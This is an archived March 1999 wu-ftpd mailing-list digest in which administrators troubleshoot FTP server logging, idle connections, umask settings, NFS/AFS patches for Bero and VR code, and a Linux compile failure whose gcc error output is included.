Date: Tue, 16 Mar 1999 00:17:04 -0500 (EST)
Reply-To: Jan Simek <[email protected]>
Sender: [email protected]
From: Jan Simek <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: not logging at all?
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hi everybody,

(which address is correct? wugate or mail?)

I tried to browse all the archives, but couldn't find a hint for my
problem... wu-ftpd is just not logging anything for me... I have Solaris,
5.7, wu-ftpd 2.4.2.

here's my inetd.conf entry:

ftp stream tcp nowait root /usr/sbin/in.ftpd in.ftpd -ldaio

here's my syslog.conf entry for wu-ftpd:

daemon.notice /var/log/ftplog
daemon.debug /var/log/ftplog
daemon.debug /var log/ftplog

permissions seem to be ok.
xferlog is the only log that gets something (works ok).

Any ideas?

--Jan

From [email protected] Tue Mar 16 03:21:51 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id DAA22773;
Tue, 16 Mar 1999 03:21:50 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id DAA11124;
Tue, 16 Mar 1999 03:14:12 -0600 (CST)
Received: from Gandalf.ZEMRIS.FER.HR (Gandalf.ZEMRIS.FER.HR [161.53.65.11])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id DAA20313
for <[email protected]>; Tue, 16 Mar 1999 03:11:49 -0600 (CST)
Received: from gandalf ([email protected] [161.53.65.11])
by Gandalf.ZEMRIS.FER.HR (8.9.3/8.9.3) with ESMTP id KAA26559
for <[email protected]>; Tue, 16 Mar 1999 10:10:46 +0100 (MET)
Message-Id: <Pine.SUN.4.05.9903161009250.26533-100000@gandalf>
Date: Tue, 16 Mar 1999 10:10:44 +0100 (MET)
Reply-To: [email protected]
Sender: [email protected]
From: Josko Poljak <[email protected]>
To: [email protected]
Subject: PROBLEM: Long periods of waiting for output of "ls" or "dir"
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Sender: pol@gandalf
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hello,

it seems to me that our wu-ftpd has a constant problem with "ls" and
"dir" commands. It does respond to those commands, but sometimes it
takes 5-10 seconds before contents of directory is displayed even
when there is no traffic at the server.
Also, it is possible to be clients problem, since I tried with 2
different clients, one on SunOS 4.1.3 and other on Solaris 2.5.1
It seems to me that issuing "ls" or "dir" at the SunOS 4.1.3
(sometimes) causes these long periods of waiting for directory
listing. If I issue "ls" or "dir" immediately after that on the
Solaris it also needs few seconds to print contents of directory.

Best regards,
Josko Poljak.

---------------------------------------------------------------------------
Josko Poljak, M.Sc.C.S.
Dep. of Electronics, Microelectronics, Computing and Intelligent Systems
Faculty of Electrical Engineering and Computing
Unska 3, Zagreb 10000, Croatia

tel: +385 (1) 6129-999 ext. 554
fax: +385 (1) 6129-653
e-mail: [email protected]
WWW: http://www.zemris.fer.hr/~pol/
---------------------------------------------------------------------------

From [email protected] Tue Mar 16 06:48:11 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id GAA25228;
Tue, 16 Mar 1999 06:48:10 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id GAA25728;
Tue, 16 Mar 1999 06:40:46 -0600 (CST)
Received: from internexus.net ([email protected] [206.152.14.2])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id GAA24986
for <[email protected]>; Tue, 16 Mar 1999 06:35:36 -0600 (CST)
Received: (qmail 22260 invoked by uid 501); 16 Mar 1999 12:35:30 -0000
Message-Id: <[email protected]>
Date: Tue, 16 Mar 1999 07:35:30 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Laszlo Vecsey <[email protected]>
To: [email protected]
Subject: stuck idle processes
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I'm noticing a bunch of ftpd processes hanging around because (i think) of
users logging in anonymously and then being disconnected, most likely a
dynamic user or static user that has shut their machine off.. with the way
tcp/ip works the process wont die until they're back on the net.

I have the timeouts set to -t600 and -T3600, which seem reasonable. Are
you guys running scripts periodically to kill these processes?

From [email protected] Tue Mar 16 07:46:55 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id HAA25817;
Tue, 16 Mar 1999 07:46:54 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id HAA15793;
Tue, 16 Mar 1999 07:39:16 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id HAA13466
for <[email protected]>; Tue, 16 Mar 1999 07:36:31 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id IAA01476;
Tue, 16 Mar 1999 08:36:27 -0500
Message-Id: <[email protected]>
Date: Tue, 16 Mar 1999 08:36:27 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Laszlo Vecsey <[email protected]>
Cc: [email protected]
Subject: Re: stuck idle processes
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Tue, 16 Mar 1999, Laszlo Vecsey wrote:

> I'm noticing a bunch of ftpd processes hanging around because (i
> think) of users logging in anonymously and then being disconnected,
> most likely a dynamic user or static user that has shut their machine
> off.. with the way tcp/ip works the process wont die until they're
> back on the net.
>
> I have the timeouts set to -t600 and -T3600, which seem reasonable.
> Are you guys running scripts periodically to kill these processes?

I see something similar.

First, I noticed that a lot of people are using Netscape and IE. The
browsers tend to lean a connection open and idle until the user closes the
program or moves on to another site. When/if the user issues another
command, the browser closes this control connection and starts another.
My timeouts were originally 600/3600 and seemed reasonable until I started
closely watching what was happenning. To combate these needless idle
control connections, I switched to 300/300 for timeout values. This does
not appear to have affecteded too many command-line ftp users, but had a
marked improvement on the number of idle control connections laying about.
Note that none of these are orphaned control connections. When the idle
timeout kicks in they close as normal.

As I watch my servers, I'll notice a TCP socket (sometimes two or three,
never very many) hung in FIN_WAIT1. Usually, these are data connection
sockets, but occassionally they are control connection sockets as well.
At the point where I'm investigating, there are no processes associated
with the socket; it's hanging on trying to close down. Normally, the TCP
stack timers for these sockets will eventually time out.

Every now and then, I'll see a FIN_WAIT1 socket whose counters are being
reset by an ACK packet from the remote host. This stray ACK appears to be
the result of a lame firewall/proxy trying to hold the connection in case
the user ever returns (fat chance, you dumb firewall/proxy).

I've determined the sockets _are_ having their counters reset by the
remote host by installing firewall rules for those IP/sockets preventing
INCOMING packets FROM the remote host on the single remote socket. The
counters immedeately start clocking down and, when they timeout, the
socket closes.

For the past few weeks, I've been letting the sockets go, to see what
happens. Eventually they go away. Either that means the remote
firewall/proxy finally gave up on the user's returning (unlikely), or it
reassigned the IP number to another user which caused the connection to
reset (very likely), or there's something in my kernel which is finally
closing the socket (unlikely).

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Tue Mar 16 08:45:39 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id IAA26495;
Tue, 16 Mar 1999 08:45:38 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id IAA07028;
Tue, 16 Mar 1999 08:37:59 -0600 (CST)
Received: from triton.dmso.mil (triton.dmso.mil [199.75.72.2])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id IAA17797
for <[email protected]>; Tue, 16 Mar 1999 08:32:54 -0600 (CST)
Received: (from tneshite@localhost) by triton.dmso.mil (8.8.5/8.7.3) id JAA07751; Tue, 16 Mar 1999 09:25:16 -0500 (EST)
Message-Id: <[email protected]>
Date: Tue, 16 Mar 1999 09:25:16 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Thomas Neshite <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Re: help with defumask
In-Reply-To: <[email protected]> from "Rob Genovesi" at Mar 15, 99 04:31:39 pm
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Mailer: ELM [version 2.4 PL25]
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I believe the correct way to do it is when you start the ftpd in
/etc/inetd.conf with the -u switch. I only allow the owner read
write access and lock everyone else out.

Mine looks like this:

/usr/local/etc/ftpd -l -a -u077

This sets new files uploaded to 700.

tjn

>
> Hi,
>
> Is there a way to set defumask based in the users real username
> (/etc/passwd) or real group (/etc/group)? I see that it can be done by
> defining a class, which is specified via addrglob, but this won't work for me.
>
> any help?
>
> almost forgot the most important part:
> I am running: Version wu-2.4.2-academ[BETA-18-VR12](1)
> On: Sun Solaris 2.5.1
>
> Thanks,
>
> Rob Genovesi
> [email protected]
>
>

From [email protected] Tue Mar 16 11:28:57 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA29248;
Tue, 16 Mar 1999 11:28:57 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA22688;
Tue, 16 Mar 1999 11:21:23 -0600 (CST)
Received: from atlantis.csc.umd.edu (atlantis.csc.umd.edu [129.2.8.129])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA20482
for <[email protected]>; Tue, 16 Mar 1999 11:16:53 -0600 (CST)
Received: from atlantis.csc.umd.edu (localhost [127.0.0.1])
by atlantis.csc.umd.edu (8.9.3/8.9.3) with SMTP id MAA24424
for <[email protected]>; Tue, 16 Mar 1999 12:16:52 -0500 (EST)
Received: from localhost by atlantis.csc.umd.edu (8.9.3/8.9.3) with ESMTP id MAA24420
for <[email protected]>; Tue, 16 Mar 1999 12:16:51 -0500 (EST)
Message-Id: <[email protected]>
Date: Tue, 16 Mar 1999 12:16:47 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: "Randall S. Winchester" <[email protected]>
To: [email protected]
Subject: Problems with current Bero and VR code.
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Sender: [email protected]
X-Authentication-Warning: atlantis.csc.umd.edu: rsw owned process doing -bs
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hi, I have just recently tried both BeroFTPD-1.3.4 and wu-ftpd-2.4.2-vr16.
The bottom line is that I like them! Thanks for the good work.

There were some problems that both had, and that just Bero had.

Bero:

Your realpath.c does not work for "private" user directories that are
mounted over NFS-V3, in particular if the NFS server is a Solaris box.
If the directory is mode 700 (our default), realpath will fail.
The problem is you can not chdir() or getcwd() as root, since root does not
have privlages over NFS. The fix is to try the chdir() or getcwd() as the
user first, then failover to the setuid() attempt. After making these
changes to the Bero code I relaized the VR code had almost exactly the same
changes...

AFS support is missing two calls to "ktc_ForgetAllTokens();". Not releasing
the tokens in a timely fashon can cause problems on a busy ftp server. a
busy server. They are needed in dologout() just before the _exit(status);
and at the end of end_login(). (VR does not *come* with AFS support)

Bero and VR:

SYST is only allowed after check_login(). This breaks "RapidFiler (sp?)"
which tries to autodetect the type of system before login. This is a NetWare
thing, that I have recieved reports from. My fix was to take that
restriction back out of ftpcmd.y.

LOG_FAILED can log users passwords. The feature is enabled by default. This
has been well understood in the "telnetd", "sshd", "xdm" world, were
experiance has show that users will put their password where their login
name belongs. (often from typing to fast, or not paying attention). You
should never log the_user in failed logins. The other places where "name" is
logged, is after the "name" is verified to be a valid username (i.e after
sgetpwnam(name) is called). I consider this a potential security risk!
My fix was to log everything but "the_user"...an ident call here might be
inorder if you wanted to dig further.

MAPPING_CHDIR works well unless you try and "dir <path>" where path is a
symlink. This is the frequent case with automounted homes. It is common for
/homes/$USER to be a symlink to /somewhere/over/the/rainbow/$USER.
When you run "dir /homes/rsw" (in my case) you do not get the expected
result. I have had reported problems with with a number of PC ftp programs
that do just this, and fail in various ways, including not being able to
upload files. (The programs run the offending command as part of there
internal "protocal"). My fix was to change ls_long and ls_short in ftpd.c to
also include the "-L" flag to "ls".

Overall I like the work that has been done, and I thank you both for your
efforts.

Randall

From [email protected] Tue Mar 16 11:53:10 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA29898;
Tue, 16 Mar 1999 11:53:09 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA10140;
Tue, 16 Mar 1999 11:46:59 -0600 (CST)
Received: from neo.ZONE.NET (neo.zone.net [198.240.0.2])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA21097
for <[email protected]>; Tue, 16 Mar 1999 11:41:15 -0600 (CST)
Received: from localhost (jan@localhost) by neo.ZONE.NET (8.8.8/970824) with SMTP id MAA08420; Tue, 16 Mar 1999 12:40:45 -0500 (EST)
Message-Id: <[email protected]>
Date: Tue, 16 Mar 1999 12:40:38 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Jan Simek <[email protected]>
To: James McMahon <[email protected]>
Cc: [email protected], [email protected]
Subject: Re: not logging at all?
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hi,

> Do you have a "log syslog" line in your ftpaccess file?

here're the log entries from my ftpaccess file:

log syslog
log commands real
log transfers anonymous,real inbound,outbound

(I still keep getting entries into xferlog, not any other...)

I have compiled wu-ftpd with DEBUG and VIRTUAL flags.
I have restarted syslogd.

I'd appreciate any help.

--Jan

> Jan Simek wrote:
>
> > Hi everybody,
> >
> > (which address is correct? wugate or mail?)
> >
> > I tried to browse all the archives, but couldn't find a hint for my
> > problem... wu-ftpd is just not logging anything for me... I have Solaris,
> > 5.7, wu-ftpd 2.4.2.
> >
> > here's my inetd.conf entry:
> >
> > ftp stream tcp nowait root /usr/sbin/in.ftpd in.ftpd -ldaio
> >
> > here's my syslog.conf entry for wu-ftpd:
> >
> > daemon.notice /var/log/ftplog
> > daemon.debug /var/log/ftplog
> > daemon.debug /var log/ftplog
> >
> > permissions seem to be ok.
> > xferlog is the only log that gets something (works ok).
> >
> > Any ideas?
> >
> > --Jan
>
>

From [email protected] Tue Mar 16 12:01:33 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id MAA00048;
Tue, 16 Mar 1999 12:01:32 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA22429;
Tue, 16 Mar 1999 11:53:24 -0600 (CST)
Received: from mail.midmon.com ([email protected] [207.238.211.3])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA25797
for <[email protected]>; Tue, 16 Mar 1999 11:48:51 -0600 (CST)
Received: from pjs (pjs.midmon.com [207.238.211.49])
by mail.midmon.com (8.8.7/8.8.7) with SMTP id MAA31506
for <[email protected]>; Tue, 16 Mar 1999 12:45:20 -0500
Message-Id: <[email protected]>
Date: Tue, 16 Mar 1999 12:50:04 -0500
Reply-To: [email protected]
Sender: [email protected]
From: Patrick Shoaf <[email protected]>
To: [email protected]
Subject: Problem compiling 2.4.2 Final on Linux
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I have RedHat 5.2 and the new 2.4.2 wu-ftpd source. I am trying to compile
and I am getting errors, and am unsure as to what they mean. Attached
below is the output from the command

/build lnx >file1 2>file2

*gcc-libs are installed from RedHat 5.2 rpm
*string.h is located at /usr/src/linux-2.0.36/include/string.h and at
/usr/src/linux-2.0.36/asm-i386/string.h

=========FILE1================
make args are :
make opts are :
Linking Makefiles.
Making support library.
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -c strcasestr.c
Making ftpd.
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -c ftpd.c -o ftpd.o
Making ftpcount.
bison -y ftpcmd.y
Making ftpshut.
bison -y ftpcmd.y
Making ckconfig.
gcc -O3 -fomit-frame-pointer -fno-strength-reduce -pipe -I.. -I../support
-L../support -s -static -o ckconfig ckconfig.c
Links to executables are in bin directory:Done

============FILE2===================
strcasestr.c:27: string.h: No such file or directory
strcasestr.c: In function `strcasestr':
strcasestr.c:42: syntax error before `len'
strcasestr.c:45: `len' undeclared (first use this function)
strcasestr.c:45: (Each undeclared identifier is reported only once
strcasestr.c:45: for each function it appears in.)
strcasestr.c:49: `NULL' undeclared (first use this function)
make: *** [strcasestr.o] Error 1
In file included from ftpd.c:42:
config.h:5: features.h: No such file or directory
In file included from
/usr/lib/gcc-lib/i386-redhat-linux/2.7.2.3/include/syslimits.h:7,
from /usr/lib/gcc-lib/i386-redhat-linux/2.7.2.3/include/limits.h:11,
from config.h:43,
from ftpd.c:42:
/usr/lib/gcc-lib/i386-redhat-linux/2.7.2.3/include/limits.h:112: limits.h:
No such file or directory
In file included from ftpd.c:42:
config.h:53: stdlib.h: No such file or directory
config.h:54: unistd.h: No such file or directory
ftpd.c:44: sys/types.h: No such file or directory
ftpd.c:45: sys/param.h: No such file or directory
ftpd.c:46: sys/stat.h: No such file or directory
ftpd.c:47: sys/ioctl.h: No such file or directory
ftpd.c:48: sys/socket.h: No such file or directory
ftpd.c:49: sys/file.h: No such file or directory
ftpd.c:50: sys/wait.h: No such file or directory
ftpd.c:61: netinet/in.h: No such file or directory
ftpd.c:62: netinet/in_systm.h: No such file or directory
ftpd.c:63: netinet/ip.h: No such file or directory
ftpd.c:67: arpa/inet.h: No such file or directory
ftpd.c:68: arpa/telnet.h: No such file or directory
ftpd.c:70: ctype.h: No such file or directory
ftpd.c:71: stdio.h: No such file or directory
ftpd.c:72: signal.h: No such file or directory
ftpd.c:73: pwd.h: No such file or directory
ftpd.c:74: setjmp.h: No such file or directory
ftpd.c:75: netdb.h: No such file or directory
ftpd.c:76: errno.h: No such file or directory
ftpd.c:77: string.h: No such file or directory
ftpd.c:106: syslog.h: No such file or directory
ftpd.c:108: time.h: No such file or directory
ftpd.c:124: fcntl.h: No such file or directory
ftpd.c:147: dirent.h: No such file or directory
ftpd.c:177: parse error before `*'
ftpd.c:181: parse error before `*'
ftpd.c:183: parse error before `FILE'
ftpd.c:183: warning: data definition has no type or storage class
ftpd.c:184: parse error before `*'
ftpd.c:185: parse error before `*'
ftpd.c:204: parse error before `restart_point'
ftpd.c:204: warning: data definition has no type or storage class
ftpd.c:215: `MAXPATHLEN' undeclared here (not in a function)
ftpd.c:216: `MAXPATHLEN' undeclared here (not in a function)
ftpd.c:220: parse error before `errcatch'
ftpd.c:221: warning: data definition has no type or storage class
ftpd.c:255: parse error before `file_size'
ftpd.c:255: warning: data definition has no type or storage class
ftpd.c:256: parse error before `byte_count'
ftpd.c:256: warning: data definition has no type or storage class
ftpd.c:262: parse error before `defumask'
ftpd.c:262: warning: data definition has no type or storage class
ftpd.c:290: `MAXPATHLEN' undeclared here (not in a function)
ftpd.c:297: `NULL' undeclared here (not in a function)
ftpd.c:318: parse error before `*'
ftpd.c:319: parse error before `off_t'
ftpd.c:319: warning: data definition has no type or storage class
ftpd.c:336: parse error before `block_sigmask'
ftpd.c:336: warning: data definition has no type or storage class
ftpd.c:339: `BUFSIZ' undeclared here (not in a function)
ftpd.c:362: parse error before `*'
ftpd.c: In function `main':
ftpd.c:399: storage size of `virtual_addr' isn't known
ftpd.c:408: `LOG_PID' undeclared (first use this function)
ftpd.c:408: (Each undeclared identifier is reported only once
ftpd.c:408: for each function it appears in.)
ftpd.c:408: `LOG_NDELAY' undeclared (first use this function)
ftpd.c:408: `LOG_DAEMON' undeclared (first use this function)
ftpd.c:424: sizeof applied to an incomplete type
ftpd.c:426: `LOG_ERR' undeclared (first use this function)
ftpd.c:431: sizeof applied to an incomplete type
ftpd.c:444: invalid use of undefined type `struct sockaddr_in'
ftpd.c:444: invalid use of undefined type `struct sockaddr_in'
ftpd.c:516: `stderr' undeclared (first use this function)
ftpd.c:731: warning: assignment makes pointer from integer without a cast
ftpd.c:732: `NULL' undeclared (first use this function)
ftpd.c:733: dereferencing pointer to incomplete type
ftpd.c:747: dereferencing pointer to incomplete type
ftpd.c:747: warning: passing arg 2 of `strcmp' makes pointer from integer
without a cast
ftpd.c:749: `LOG_NOTICE' undeclared (first use this function)
ftpd.c:750: dereferencing pointer to incomplete type
ftpd.c:755: dereferencing pointer to incomplete type
ftpd.c:756: sizeof applied to an incomplete type
ftpd.c:756: `AF_INET' undeclared (first use this function)
ftpd.c:756: warning: assignment makes pointer from integer without a cast
ftpd.c:758: dereferencing pointer to incomplete type
ftpd.c:778: `LOG_INFO' undeclared (first use this function)
ftpd.c: In function `randomsig':
ftpd.c:847: `LOG_ERR' undeclared (first use this function)
ftpd.c:850: `SIGIOT' undeclared (first use this function)
ftpd.c:850: `SIG_DFL' undeclared (first use this function)
ftpd.c:851: `SIGILL' undeclared (first use this function)
ftpd.c: In function `lostconn':
ftpd.c:865: `LOG_DEBUG' undeclared (first use this function)
ftpd.c: In function `sgetsave':
ftpd.c:884: `NULL' undeclared (first use this function)
ftpd.c: In function `sgetpwnam':
ftpd.c:903: storage size of `save' isn't known
ftpd.c:939: warning: assignment makes pointer from integer without a cast
ftpd.c:939: `NULL' undeclared (first use this function)
ftpd.c:949: dereferencing pointer to incomplete type
ftpd.c:951: dereferencing pointer to incomplete type
ftpd.c:961: dereferencing pointer to incomplete type
ftpd.c:996: dereferencing pointer to incomplete type
ftpd.c:997: dereferencing pointer to incomplete type
ftpd.c:998: dereferencing pointer to incomplete type
ftpd.c: In function `user':
ftpd.c:1085: `LOG_NOTICE' undeclared (first use this function)
ftpd.c:1108: `NULL' undeclared (first use this function)
ftpd.c:1154: warning: assignment makes pointer from integer without a cast
ftpd.c:1171: dereferencing pointer to incomplete type
ftpd.c:1179: warning: assignment makes pointer from integer without a cast
ftpd.c:1184: dereferencing pointer to incomplete type
ftpd.c:1190: dereferencing pointer to incomplete type
ftpd.c:1252: dereferencing pointer to incomplete type
ftpd.c: In function `checkuser':
ftpd.c:1338: syntax error before `*'
ftpd.c:1340: `BUFSIZ' undeclared (first use this function)
ftpd.c:1342: `fd' undeclared (first use this function)
ftpd.c:1342: `NULL' undeclared (first use this function)
ftpd.c:1344: warning: assignment makes pointer from integer without a cast
ftpd.c: In function `end_login':
ftpd.c:1370: `uid_t' undeclared (first use this function)
ftpd.c:1370: parse error before `0'
ftpd.c:1372: dereferencing pointer to incomplete type
ftpd.c:1373: `NULL' undeclared (first use this function)
ftpd.c: In function `pass':
ftpd.c:1480: `NULL' undeclared (first use this function)
ftpd.c:1483: dereferencing pointer to incomplete type
ftpd.c:1521: dereferencing pointer to incomplete type
ftpd.c:1525: dereferencing pointer to incomplete type
ftpd.c:1537: `LOG_NOTICE' undeclared (first use this function)
ftpd.c:1540: `LOG_INFO' undeclared (first use this function)
ftpd.c:1607: `mode_t' undeclared (first use this function)
ftpd.c:1607: parse error before `oldmask'
ftpd.c:1608: `oldmask' undeclared (first use this function)
ftpd.c:1609: `O_WRONLY' undeclared (first use this function)
ftpd.c:1609: `O_APPEND' undeclared (first use this function)
ftpd.c:1609: `O_CREAT' undeclared (first use this function)
ftpd.c:1612: `LOG_ERR' undeclared (first use this function)
ftpd.c:1640: `gid_t' undeclared (first use this function)
ftpd.c:1640: parse error before `pw'
ftpd.c:1644: dereferencing pointer to incomplete type
ftpd.c:1644: dereferencing pointer to incomplete type
ftpd.c:1658: dereferencing pointer to incomplete type
ftpd.c:1672: dereferencing pointer to incomplete type
ftpd.c:1673: dereferencing pointer to incomplete type
ftpd.c:1674: dereferencing pointer to incomplete type
ftpd.c:1679: dereferencing pointer to incomplete type
ftpd.c:1679: warning: assignment makes pointer from integer without a cast
ftpd.c:1680: dereferencing pointer to incomplete type
ftpd.c:1686: dereferencing pointer to incomplete type
ftpd.c:1721: `uid_t' undeclared (first use this function)
ftpd.c:1721: parse error before `pw'
ftpd.c:1682: label `bad' used but not defined
ftpd.c: At top level:
ftpd.c:1727: parse error before `if'
ftpd.c:1744: parse error before `230'
ftpd.c:1745: conflicting types for `lreply'
ftpd.c:323: previous declaration of `lreply'
ftpd.c:1745: warning: data definition has no type or storage class
ftpd.c:1746: parse error before `230'
ftpd.c:1747: warning: data definition has no type or storage class
ftpd.c:1752: parse error before `230'
ftpd.c:1752: warning: data definition has no type or storage class
ftpd.c:1753: parse error before `230'
ftpd.c:1753: warning: data definition has no type or storage class
ftpd.c:1766: parse error before `230'
ftpd.c:1766: conflicting types for `reply'
ftpd.c:322: previous declaration of `reply'
ftpd.c:1766: warning: data definition has no type or storage class
ftpd.c:1767: parse error before string constant
ftpd.c:1770: parse error before string constant
ftpd.c:1770: conflicting types for `setproctitle'
ftpd.c:320: previous declaration of `setproctitle'
ftpd.c:1770: warning: data definition has no type or storage class
ftpd.c:1777: parse error before string constant
ftpd.c:1777: warning: data definition has no type or storage class
ftpd.c:1778: warning: parameter names (without types) in function declaration
ftpd.c:1778: warning: data definition has no type or storage class
ftpd.c:1779: parse error before `if'
ftpd.c:1784: parse error before `->'
ftpd.c:1784: warning: data definition has no type or storage class
ftpd.c:1789: conflicting types for `home'
ftpd.c:202: previous declaration of `home'
ftpd.c:1789: dereferencing pointer to incomplete type
ftpd.c:1789: warning: data definition has no type or storage class
ftpd.c:1790: parse error before `void'
ftpd.c:1796: redefinition of `xferlog'
ftpd.c:287: `xferlog' previously defined here
ftpd.c:1796: warning: data definition has no type or storage class
ftpd.c:1797: conflicting types for `end_login'
ftpd.c:1367: previous declaration of `end_login'
ftpd.c:1797: warning: data definition has no type or storage class
ftpd.c:1798: parse error before `return'
ftpd.c: In function `retrieve':
ftpd.c:1832: `FILE' undeclared (first use this function)
ftpd.c:1832: `fin' undeclared (first use this function)
ftpd.c:1833: `dout' undeclared (first use this function)
ftpd.c:1834: parse error before `struct'
ftpd.c:1838: `time_t' undeclared (first use this function)
ftpd.c:1850: `NULL' undeclared (first use this function)
ftpd.c:1850: `stat_ret' undeclared (first use this function)
ftpd.c:1850: `st' undeclared (first use this function)
ftpd.c:1854: `logname' undeclared (first use this function)
ftpd.c:1858: `cptr' undeclared (first use this function)
ftpd.c:1870: `fnbuf' undeclared (first use this function)
ftpd.c:1910: `namebuf' undeclared (first use this function)
ftpd.c:1912: `junk' undeclared (first use this function)
ftpd.c:1935: `options' undeclared (first use this function)
ftpd.c:1938: warning: assignment makes pointer from integer without a cast
ftpd.c:1941: `LOG_ERR' undeclared (first use this function)
ftpd.c:1955: `closefunc' undeclared (first use this function)
ftpd.c:1958: `BUFSIZ' undeclared (first use this function)
ftpd.c:1973: `S_IFMT' undeclared (first use this function)
ftpd.c:1973: `S_IFREG' undeclared (first use this function)
ftpd.c:1986: `EOF' undeclared (first use this function)
ftpd.c:1993: `L_SET' undeclared (first use this function)
ftpd.c:2010: `MAXPATHLEN' undeclared (first use this function)
ftpd.c:2012: `start_time' undeclared (first use this function)
ftpd.c:2013: parse error before `curtime'
ftpd.c:2060: `curtime' undeclared (first use this function)
ftpd.c:2069: dereferencing pointer to incomplete type
ftpd.c: In function `store':
ftpd.c:2093: `FILE' undeclared (first use this function)
ftpd.c:2093: `fout' undeclared (first use this function)
ftpd.c:2093: `din' undeclared (first use this function)
ftpd.c:2094: parse error before `struct'
ftpd.c:2101: `time_t' undeclared (first use this function)
ftpd.c:2115: `mode_t' undeclared (first use this function)
ftpd.c:2116: `uid_t' undeclared (first use this function)
ftpd.c:2117: `gid_t' undeclared (first use this function)
ftpd.c:2123: `open_flags' undeclared (first use this function)
ftpd.c:2123: `O_RDWR' undeclared (first use this function)
ftpd.c:2123: `O_CREAT' undeclared (first use this function)
ftpd.c:2124: `NULL' undeclared (first use this function)
ftpd.c:2124: `O_APPEND' undeclared (first use this function)
ftpd.c:2124: `O_TRUNC' undeclared (first use this function)
ftpd.c:2128: `st' undeclared (first use this function)
ftpd.c:2129: warning: assignment makes pointer from integer without a cast
ftpd.c:2141: `entry' undeclared (first use this function)
ftpd.c:2144: `overwrite' undeclared (first use this function)
ftpd.c:2145: `O_EXCL' undeclared (first use this function)
ftpd.c:2159: `match_value' undeclared (first use this function)
ftpd.c:2159: `uid' undeclared (first use this function)
ftpd.c:2159: `gid' undeclared (first use this function)
ftpd.c:2159: `f_mode' undeclared (first use this function)
ftpd.c:2159: `valid' undeclared (first use this function)
ftpd.c:2172: `oldmask' undeclared (first use this function)
ftpd.c:2173: `fdout' undeclared (first use this function)
ftpd.c:2185: `oldid' undeclared (first use this function)
ftpd.c:2187: parse error before `0'
ftpd.c:2208: `closefunc' undeclared (first use this function)
ftpd.c:2222: `EOF' undeclared (first use this function)
ftpd.c:2231: `L_INCR' undeclared (first use this function)
ftpd.c:2235: `L_SET' undeclared (first use this function)
ftpd.c:2240: `off_t' undeclared (first use this function)
